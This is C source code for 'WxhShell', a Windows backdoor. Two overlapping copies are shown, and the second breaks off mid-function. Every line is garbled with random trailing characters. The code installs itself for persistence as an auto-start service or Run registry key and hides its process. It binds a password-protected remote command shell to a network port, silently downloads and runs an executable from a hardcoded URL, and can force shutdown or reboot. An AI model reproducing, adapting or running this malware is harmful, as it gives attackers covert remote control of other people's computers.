    break; zsXH{atY  
    } a1`cI5n  
  // 关机 .:ZXtU  
  case 'd': { &iOtw0E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 93Gur(j^  
    if(Boot(SHUTDOWN)) 3K!0 4\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |2<f<k/UT  
    else { $cOD6Xr)d  
    closesocket(wsh); 1:!rw,Jzl`  
    ExitThread(0); W-PZE|<  
    } -NPk N%h  
    break; (bt]GAxb1  
    } ];d:z[\P  
  // 获取shell $JB:rozE  
  case 's': { g yQ9Z}  
    CmdShell(wsh); =(X'c.%i  
    closesocket(wsh); LXC`Zq\  
    ExitThread(0); e-cb?.WU?  
    break; gwaC?tf[  
  } &8AS=v  
  // 退出 >v_5xd9  
  case 'x': { thPH_DW>eb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &E &iaw!  
    CloseIt(wsh); \ui^ d  
    break; 4D8yb|o  
    } *6D%mrK  
  // 离开 eH!|MHe  
  case 'q': { $ XsQ e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); IaTq4rt  
    closesocket(wsh);  "$Iw Q  
    WSACleanup(); j'*p  
    exit(1); x\hn;i<  
    break; !J=;Z9  
        } !en F8a  
  } #KNq:@wp6  
  } gZEA;N:H%<  
DVoV:pk  
  // 提示信息 q&$0i   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3d'ikkXK  
} y [9}[NMZ  
  } A%*DQ1N  
R, w54},  
  return; }Q=se[((  
} Zc3:9   
5652'p  
// shell模块句柄 Z^`=!n-V  
int CmdShell(SOCKET sock) &/hr-5k  
{ T{H#]BF<E  
STARTUPINFO si; :iQ^1S` pH  
ZeroMemory(&si,sizeof(si)); fI d)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,c7u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iRwW>a3/  
PROCESS_INFORMATION ProcessInfo; 9h38`*Im;  
char cmdline[]="cmd"; u1|P'>;lF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qv*uM0G6i  
  return 0; 4fu\3A&  
} r{!"%03H_  
%M)oHX1p  
// 自身启动模式 9poEUjBI  
int StartFromService(void) v8vh~^X%P  
{ T3t~=b>&L  
typedef struct Ul713Bjz  
{ Fma`Cm.  
  DWORD ExitStatus; mf;^b.mKh  
  DWORD PebBaseAddress; h [|zs>p  
  DWORD AffinityMask; dI ZTLb"a  
  DWORD BasePriority; C3 b0`|5  
  ULONG UniqueProcessId; mf]( 3ZL  
  ULONG InheritedFromUniqueProcessId; X\^& nLa  
}   PROCESS_BASIC_INFORMATION; WQLHjGehe  
t2 -nCRXEP  
PROCNTQSIP NtQueryInformationProcess; k`7.p,;}U  
zUEfa!#?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4=F]`Lql  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  `\|3 ~_v  
KB,~u*~!  
  HANDLE             hProcess; @Uj _+c q  
  PROCESS_BASIC_INFORMATION pbi; t1:S!@  
8/>wgY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3^A/`8R7K  
  if(NULL == hInst ) return 0; ,F?~'-K  
28Ssb|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;x3 ]4^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J<($L}T*$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]~ #+ b>  
`^&15?Wk  
  if (!NtQueryInformationProcess) return 0; Bsu=^z  
! F;<xgw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =wlm  
  if(!hProcess) return 0; o9T@uWh+  
\+?,c\x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S1az3VJI\  
8MeO U  
  CloseHandle(hProcess); .i3lG( YG  
6h:?u4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ql: b1C,  
if(hProcess==NULL) return 0; 5y[b8mur  
"x.6W!  
HMODULE hMod; C{`^9J-  
char procName[255]; 2iR:*}5  
unsigned long cbNeeded; tJ h3$K\  
5&-j{J0iV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T[4[/n> i  
=!g/2;-or  
  CloseHandle(hProcess); ph8Jn+|E  
5v !DYx  
if(strstr(procName,"services")) return 1; // 以服务启动 ]w_  
Ukh$`q}  
  return 0; // 注册表启动 ER;lkF`RF  
} XAQ\OX#  
u>t|X}JH  
// 主模块 @`IXu$Wm(  
int StartWxhshell(LPSTR lpCmdLine) ;o_V!< $  
{ 43{_Y]  
  SOCKET wsl; PQU3s$  
BOOL val=TRUE; n{.*El>{  
  int port=0; W? "2;](  
  struct sockaddr_in door; o8};e  
1Es*=zg  
  if(wscfg.ws_autoins) Install(); Y0Hq+7x  
C>Omng1>^  
port=atoi(lpCmdLine); ^&`sWO@=  
[V> :`?  
if(port<=0) port=wscfg.ws_port; C-a*EG  
aDN6MZM  
  WSADATA data; B@"SOX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *l>[`U+  
;T5,T   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |5}rX!wS4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~),;QQ,  
  door.sin_family = AF_INET; j.=UI-&m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |<j,Tr1[  
  door.sin_port = htons(port); !"`@sd~  
Q SHx]*)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [l8V<*x%S9  
closesocket(wsl); %k3NT~  
return 1; fCt^FU  
} /RJ6nmN@}  
DD12pL{QA  
  if(listen(wsl,2) == INVALID_SOCKET) { zz(!t eBC  
closesocket(wsl); 2~G,Ia  
return 1; e5qrQwU  
} Sk6b`W7$  
  Wxhshell(wsl); ;mf4 U85  
  WSACleanup(); =_$XP   
dN$ 1$B^k  
return 0; YVQ_tCC_!  
la G$v-r  
}  YBYBOH  
*3A3>Rwu  
// 以NT服务方式启动 Vl5SL{+D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _o@(wGeu#  
{ G$?|S@I,  
DWORD   status = 0; 4zo4H~@gk  
  DWORD   specificError = 0xfffffff; T[5gom  
pY+.SuM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L.C ^E7;Z_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zY7*[!c2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (v|r'B9 b  
  serviceStatus.dwWin32ExitCode     = 0; BA~a?"HS  
  serviceStatus.dwServiceSpecificExitCode = 0; T"L0Iy!k;  
  serviceStatus.dwCheckPoint       = 0; Ys"|</;dbj  
  serviceStatus.dwWaitHint       = 0; ,vY)n6  
uL2"StW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1*C:h g@  
  if (hServiceStatusHandle==0) return; 8q]J;T  
Wmzq  
status = GetLastError(); !1ML%}vvB,  
  if (status!=NO_ERROR) t{/hkXq]  
{ ,sO:$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (H&@u9K?a?  
    serviceStatus.dwCheckPoint       = 0; qSFc=Wwc  
    serviceStatus.dwWaitHint       = 0; GY oZ$p"C  
    serviceStatus.dwWin32ExitCode     = status; rPRrx-A  
    serviceStatus.dwServiceSpecificExitCode = specificError; 38[)[{G)Hv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cvZni#o2)  
    return; ?j1_ n,d  
  } K^"w]ii=  
I\}|Y+C$d/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z=ML(1c=  
  serviceStatus.dwCheckPoint       = 0; OJv}kwV  
  serviceStatus.dwWaitHint       = 0; |BwRlE2CFO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); El~-M`Gf  
} ]vm\3=@}9  
W[@i;f^g  
// 处理NT服务事件,比如:启动、停止 ,/i_QgP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k/df(cs  
{ :=rA Yc3]  
switch(fdwControl) FJO"|||Y'|  
{ J&A;#<qY  
case SERVICE_CONTROL_STOP: M-{*92y& |  
  serviceStatus.dwWin32ExitCode = 0; }X=87ud  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w+q?T  
  serviceStatus.dwCheckPoint   = 0; %oAL  
  serviceStatus.dwWaitHint     = 0; M6J/mOVx5  
  { zL9VR;q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~}h^38  
  } ~_'0]P\  
  return; q.-y)C) ;  
case SERVICE_CONTROL_PAUSE: _ e6a8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >R(8/#|E  
  break; \M7I&~V  
case SERVICE_CONTROL_CONTINUE: }ppVR$7]0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CV s8s  
  break; *i`v~ >  
case SERVICE_CONTROL_INTERROGATE: UE^D2u  
  break; -g:lOht  
}; DKh}Y !Q=:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L'>s(CR  
} 1<`9HCm  
w|=gSC-o  
// 标准应用程序主函数 -<_7\09  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ue@8voZhS/  
{ +W6Hva.  
,*7H|de7   
// 获取操作系统版本 R 4V \B  
OsIsNt=GetOsVer(); Hz E1r+3Q@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WNhbXyp_  
H6_xwuw:  
  // 从命令行安装 ^Z2kq2}a  
  if(strpbrk(lpCmdLine,"iI")) Install(); , 7Xqte  
*9J1$Wa  
  // 下载执行文件 5|{)Z]M%9  
if(wscfg.ws_downexe) { !L77y^oV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z/S,+!|z  
  WinExec(wscfg.ws_filenam,SW_HIDE); O7v]p  
} M:_!w[NiLp  
.Y!:x =e  
if(!OsIsNt) { oAY_sg+  
// 如果时win9x,隐藏进程并且设置为注册表启动 9SY(EL  
HideProc();  JX{KYU  
StartWxhshell(lpCmdLine); .8]Y-  
} 6_*!|g  
else Kh)F yV  
  if(StartFromService()) BBvZeG $Y  
  // 以服务方式启动 L!gDFZr  
  StartServiceCtrlDispatcher(DispatchTable); jPnO@ H1  
else z!:'V]  
  // 普通方式启动 y?>#t^  
  StartWxhshell(lpCmdLine); 27>a#vCT  
va5FxF*%  
return 0; =N_,l'U\^  
} 9RxO7K  
"IG+V:{ou  
;W0]66&  
+vz` go  
=========================================== 2/@D7>F&g  
>\Z R*CS  
71O3O7  
E:FO_R(Xq  
8Y# bN*!  
%w7m\nw@  
" j5\$[-';  
\X& C4#  
#include <stdio.h> u?kD)5Nk  
#include <string.h> !qA8Zky_  
#include <windows.h> a=+T95ulDy  
#include <winsock2.h> khAqYu" )  
#include <winsvc.h> NhA#bn9y?  
#include <urlmon.h> noC?k }M  
Wt J{  
#pragma comment (lib, "Ws2_32.lib") gLIT;BK  
#pragma comment (lib, "urlmon.lib") w>qCg XU3  
(S oo<.9~  
#define MAX_USER   100 // 最大客户端连接数 H0a -(  
#define BUF_SOCK   200 // sock buffer =Y9\DeIZ  
#define KEY_BUFF   255 // 输入 buffer pc H<gF(k  
'S?;J ,/  
#define REBOOT     0   // 重启 J{Tq%\a3  
#define SHUTDOWN   1   // 关机 ^Dr.DWi{$  
,GrB'N{8e  
#define DEF_PORT   5000 // 监听端口 cx^{/U?9}  
`U{mbw,  
#define REG_LEN     16   // 注册表键长度 BDe]18X  
#define SVC_LEN     80   // NT服务名长度 #dc1pfL!y{  
)p8I @E  
// 从dll定义API `5'2Hg+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t\r:E2 O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);   \&a.}t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); . uR M{Bs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m=TJDr-  
g_w&"=.jBq  
// wxhshell配置信息 9cd8=][  
struct WSCFG { K)S;:MLG=  
  int ws_port;         // 监听端口 z856 nl  
  char ws_passstr[REG_LEN]; // 口令 >|3a 9S  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0@)%h&mD  
  char ws_regname[REG_LEN]; // 注册表键名 5j{Np,K  
  char ws_svcname[REG_LEN]; // 服务名 r7 VXeoX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NP/>H9Q2%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zoP%u,XL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @Z;1 g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F Z!J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y-p<qL|_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \k@Z7+&7  
+;q.Y?  
}; PJgp+u<  
)ofm_R'q*  
// default Wxhshell configuration #tjmWGo,  
struct WSCFG wscfg={DEF_PORT, |NrrTN?>  
    "xuhuanlingzhe", 0xpx(T[  
    1, TfRGA (+#  
    "Wxhshell", 47UO*oLS  
    "Wxhshell", T&xt` |  
            "WxhShell Service", MJ\[Dt  
    "Wrsky Windows CmdShell Service", ?_q+&)4-o  
    "Please Input Your Password: ", 9<s4yZF@x  
  1, ~]WVG@-  
  "http://www.wrsky.com/wxhshell.exe", ,P6=~q3k  
  "Wxhshell.exe" aMK~1]Cx  
    }; V5"HwN+`  
O8|*M "  
// 消息定义模块 b |7ja_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?a.+j8pbGg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ZA\/{Fw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zgKY4R{V  
char *msg_ws_ext="\n\rExit."; v-`h>J!Nx  
char *msg_ws_end="\n\rQuit."; otr>3a*'  
char *msg_ws_boot="\n\rReboot..."; &mE?y%  
char *msg_ws_poff="\n\rShutdown..."; ](K0Fwo`;"  
char *msg_ws_down="\n\rSave to "; PlCc8Zy  
~`eHHgX  
char *msg_ws_err="\n\rErr!"; } /e`v6  
char *msg_ws_ok="\n\rOK!"; q\$6F)ha3  
cxP6-tV%  
char ExeFile[MAX_PATH]; *P2[qhP2  
int nUser = 0; |n6Eg9  
HANDLE handles[MAX_USER]; x &=9P e(  
int OsIsNt; 8#LJ*o  
SH8/0g?  
SERVICE_STATUS       serviceStatus; x#8w6@iPQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hI|)u4q  
$'"8QOnJ?k  
// 函数声明 ~]uZy=P? 5  
int Install(void); D>sYPrf  
int Uninstall(void); .g% Y@r)=5  
int DownloadFile(char *sURL, SOCKET wsh); vtxvS3   
int Boot(int flag); |L:Cn J  
void HideProc(void); zAScRg$:?  
int GetOsVer(void); >V;,#5F_  
int Wxhshell(SOCKET wsl); qv+R:YYOq  
void TalkWithClient(void *cs); {CUk1+  
int CmdShell(SOCKET sock); l1+[  
int StartFromService(void); 4]&<?"LSK  
int StartWxhshell(LPSTR lpCmdLine); P7GRSjG  
-_8*41  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c3xl9S,5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H+Z SPHs  
=_pwA:z"A  
// 数据结构和表定义 r;qzo .  
SERVICE_TABLE_ENTRY DispatchTable[] = p!W[X%`)  
{ 3qM Nl>>  
{wscfg.ws_svcname, NTServiceMain}, 4]XI"-M^D  
{NULL, NULL} "x*-PFT  
}; ,&]MOe4@>  
'2^ Yw  
// 自我安装 3071:W  
int Install(void) #DI$Oc  
{ /-Qv?"  
  char svExeFile[MAX_PATH]; p25Fn`}H  
  HKEY key; +,flE= 5]s  
  strcpy(svExeFile,ExeFile); >+9JD%]x]  
fCX*R"  
// 如果是win9x系统,修改注册表设为自启动 ;")A{tX2  
if(!OsIsNt) { J7&DR^.Sw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fhj8lVvk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [}o~PN:sT(  
  RegCloseKey(key); k%Vv?{g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H\G{3.T.9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jqcz\n d  
  RegCloseKey(key); GJQc!cqk  
  return 0; Yx)o:#2  
    } I6w~H?ul@*  
  } SUdm 0y  
} >Da~Q WW|  
else { M##';x0  
e!x6bR9EZ  
// 如果是NT以上系统,安装为系统服务 uJow7-FD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m],Ud\  
if (schSCManager!=0) %XRN]tsu  
{ )]Ti>RO7  
  SC_HANDLE schService = CreateService s#-eN)1R  
  ( aXR%;]<Dw  
  schSCManager, 3 <SqoJSp  
  wscfg.ws_svcname, y] V1b{9p  
  wscfg.ws_svcdisp, 'K@0Wp  
  SERVICE_ALL_ACCESS, _sMs}?^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r%=[},JQ  
  SERVICE_AUTO_START, _p}xZD\?,  
  SERVICE_ERROR_NORMAL, zFhgE*5  
  svExeFile, Dpqt;8"2L  
  NULL, 6Wf^0ok  
  NULL,  Ewo~9 4{  
  NULL, {aDFK;qG.  
  NULL, |X(2Zv^O  
  NULL ;e s^R?z  
  ); Ok H\^  
  if (schService!=0) UQ8bN I7  
  { y{=NP  
  CloseServiceHandle(schService); fEnQE EU~P  
  CloseServiceHandle(schSCManager); D-ADv3E,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "'tRfB   
  strcat(svExeFile,wscfg.ws_svcname); `rFAZcEj%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f} K`Jm_}?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cvo[s, p  
  RegCloseKey(key); &=q! Wdw~  
  return 0; 1Ix3i9  
    } (Wj2?k/]  
  } BGWAh2w6  
  CloseServiceHandle(schSCManager); }KB[B  
} X"*^l_9-v  
} o'= VZT9  
d,F5:w&  
return 1; P%>?[9!Nt  
} QZYU0; VF  
Fr:5$,At7-  
// 自我卸载 Q< *8<Oo4g  
int Uninstall(void) ?p^2Z6J'$  
{ ygViPz<J  
  HKEY key; y\PxR708  
;A#~` P  
if(!OsIsNt) { `/:cfP\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ot9V< D6h  
  RegDeleteValue(key,wscfg.ws_regname); f(:1yl\a  
  RegCloseKey(key); 3N4.$#>#9@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ([k7hUP  
  RegDeleteValue(key,wscfg.ws_regname); 3LK%1+)4  
  RegCloseKey(key); N6/T#UVns  
  return 0; Fb_S&!  
  } 2CLB1  
} GjQfi'vCk  
} %}qbkkZ  
else { WH$HI/%*m  
5cTY;@@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^R_e  
if (schSCManager!=0) @.9I3E-=  
{ v5$s#f<   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x>3@R0A 1:  
  if (schService!=0) ")`S0n5e  
  { q-&P=Yk  
  if(DeleteService(schService)!=0) { 6?gi_3g  
  CloseServiceHandle(schService); 2{o10 eL  
  CloseServiceHandle(schSCManager); z hsx &  
  return 0; `deY i2z  
  } R]L2(' B  
  CloseServiceHandle(schService); [ ]p"3 i  
  } Xr_pgW|  
  CloseServiceHandle(schSCManager); +_mr  
} rla:<6tt  
} XAD3Z?  
la, h  
return 1; 9([6d.`~  
} vDE |sT  
P Jo  
// 从指定url下载文件 N}Q FGX  
int DownloadFile(char *sURL, SOCKET wsh) [)|+F wJ  
{ (B#(Z=  
  HRESULT hr; dOXD{c  
char seps[]= "/"; x ^vt; $  
char *token; <r\I"z$  
char *file; p:[LnL  
char myURL[MAX_PATH]; '2v f|CX  
char myFILE[MAX_PATH]; !v>ew9  
dgc&[  
strcpy(myURL,sURL); T33|';k  
  token=strtok(myURL,seps); u''BP.Y S  
  while(token!=NULL) ==9ZFdf  
  { @ss):FwA  
    file=token; +R\~3uj[7  
  token=strtok(NULL,seps); |63Y >U"  
  } Bc ^4 T1  
z`#_F}v,m/  
GetCurrentDirectory(MAX_PATH,myFILE); o)I/P<  
strcat(myFILE, "\\"); Fd8hGj1  
strcat(myFILE, file); d*-Xuv  
  send(wsh,myFILE,strlen(myFILE),0); =AkX4k  
send(wsh,"...",3,0); x_:hii?6V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F`& >NQb  
  if(hr==S_OK) ?r3e*qJGn  
return 0; {ymb\$f  
else e'~ Q@_D  
return 1; pxplWP,  
HdCk!Fv  
} !0jq6[&  
n;OHH{E{  
// 系统电源模块 A{`]& K1u  
int Boot(int flag) [W(Y3yyY  
{ K&S@F!#g  
  HANDLE hToken; S0xIvzS  
  TOKEN_PRIVILEGES tkp; 'Y)/~\FI  
[.3sE  
  if(OsIsNt) { 8+(c1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F#1kZ@nq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yN:>!SQ  
    tkp.PrivilegeCount = 1; </ZHa:=7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9dYOH)f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .^H1\p];Lw  
if(flag==REBOOT) { @ ;J|xkJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #313 (PWH  
  return 0; JtmQzr0>  
} ?>?ZAr  
else { _85E=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) viV-e$s`.  
  return 0; P^4'|#~2T  
} P>W8V+l![  
  } i'HST|!j  
  else { uI9lK  
if(flag==REBOOT) { +Ag#B*   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k2uBaj]  
  return 0; t>oM%/H  
} sZm^&h;  
else { 4vGbG:x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H%T3Pc  
  return 0; )"~=7)~<^  
} V"g~q?@F  
} R `Q?J[e  
u'Pn(A@1R  
return 1; 8;.` {'r  
} P:a*t[+  
*NjMb{[ZQ  
// win9x进程隐藏模块 Dauo(Uhuo  
void HideProc(void) Is kSX  
{ b,vL8*  
$68 XZCx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -faw:  
  if ( hKernel != NULL ) ~ i'C/[P  
  { .-%oDuB5zF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]>*I)H)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d#Wn[h$"  
    FreeLibrary(hKernel); 2dyxKK!\a  
  } _<Vg[ -:1  
b)y<.pS\  
return; {4)5]62>u  
} :z124Zf  
WiwwCKjSa  
// 获取操作系统版本 i*b4uHna  
int GetOsVer(void) SmvwhX  
{ M Hn&; A]  
  OSVERSIONINFO winfo; 3]7ipwF2q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #PPsRKj3c  
  GetVersionEx(&winfo); 98ayA$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cWc$ yE'  
  return 1; t5A[o7BS  
  else /gF]s_  
  return 0; BDnBBbBrz  
} EyPy*_A  
i&5!9m`Cw  
// 客户端句柄模块 9Mut p4#  
int Wxhshell(SOCKET wsl)  nFVbQa~  
{ @OrXbG7&>#  
  SOCKET wsh; YFAnlqC  
  struct sockaddr_in client; 0= gF6U  
  DWORD myID; ua!D-0  
m(h/:JZ\  
  while(nUser<MAX_USER) B=^2g}mgK  
{ Z#[>N,P  
  int nSize=sizeof(client); v@]6<e$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ap{{(y&R  
  if(wsh==INVALID_SOCKET) return 1; tTE3H_   
wfWS-pQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vLD:(qTi  
if(handles[nUser]==0) >02i8:Tp5K  
  closesocket(wsh); t2m  ^  
else s+Cl  
  nUser++; 5auL<Pq   
  } O]4W|WI3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bmSpbX\  
#{?m  
  return 0; R|6RI}  
} i"ck`6v"8  
>^sz5d+X  
// 关闭 socket aB7d(  
void CloseIt(SOCKET wsh) _TV2)  
{ upZYv~Sa  
closesocket(wsh); / *O u$  
nUser--; +q 4W0  
ExitThread(0); 1\=pPys)  
} R20a(4 m  
56VE[G  
// 客户端请求句柄 lu<Np9/5<  
void TalkWithClient(void *cs) {8ld:ZP  
{ 1Qrm"TFo  
H@Kl  
  SOCKET wsh=(SOCKET)cs; zvWO4\  
  char pwd[SVC_LEN]; zS,%msT^A  
  char cmd[KEY_BUFF]; Y!Usce  
char chr[1]; (0O`A~M3  
int i,j; R4[. n@  
tOu90gu  
  while (nUser < MAX_USER) { vK[v eFH  
tP/GDC;  
if(wscfg.ws_passstr) { cob9hj#&7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a-SB1-5jf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {^2({A#&  
  //ZeroMemory(pwd,KEY_BUFF); 4UkP:Vz:  
      i=0; ?Aj\1y4L1  
  while(i<SVC_LEN) { ]J GKL5~p  
E5v|SFD  
  // 设置超时 j&o/X7I=  
  fd_set FdRead; =<Zwv\U  
  struct timeval TimeOut; >MBn2(\B;  
  FD_ZERO(&FdRead); uKaf{=*  
  FD_SET(wsh,&FdRead); 7H/! rx  
  TimeOut.tv_sec=8; @#G6z`,  
  TimeOut.tv_usec=0; '33Yl+h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KE }o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !W(/Y9g#  
"E4i >g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7"h=MB_  
  pwd=chr[0]; ^F;Z%5P=  
  if(chr[0]==0xd || chr[0]==0xa) { \H"/2o%l")  
  pwd=0; Oi+Qy[y2  
  break; Y)@oo=oG  
  } g: H[#I  
  i++; znGZULa#  
    } CfazD??x  
h7Shl<f  
  // 如果是非法用户,关闭 socket (2hk <  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WzNG<rG  
} R|cFpRe  
PaU@T!v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 64IeCAMVo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }V93~>  
vQ9 xG))  
while(1) { #8WR{  
a78;\{&L'  
  ZeroMemory(cmd,KEY_BUFF); c +"O\j'  
{VrAh*#h  
      // 自动支持客户端 telnet标准   .q~,.yI&j  
  j=0; #b<lt'gC  
  while(j<KEY_BUFF) { YGZAtSf3z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XACEt~y  
  cmd[j]=chr[0]; s%0[DO3NV  
  if(chr[0]==0xa || chr[0]==0xd) { z[<pi :  
  cmd[j]=0; : .UX[!^  
  break; C {H'  
  } 3P<Zzt%eT  
  j++; D8<0zxc=(  
    } ?45K%;.9Q  
T3B |r<>I  
  // 下载文件 mt&JgA/  
  if(strstr(cmd,"http://")) { uBd =x<c\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v/4X[6(  
  if(DownloadFile(cmd,wsh)) E Ni%ge'":  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ijR*5#5h  
  else @EH4N%fH  
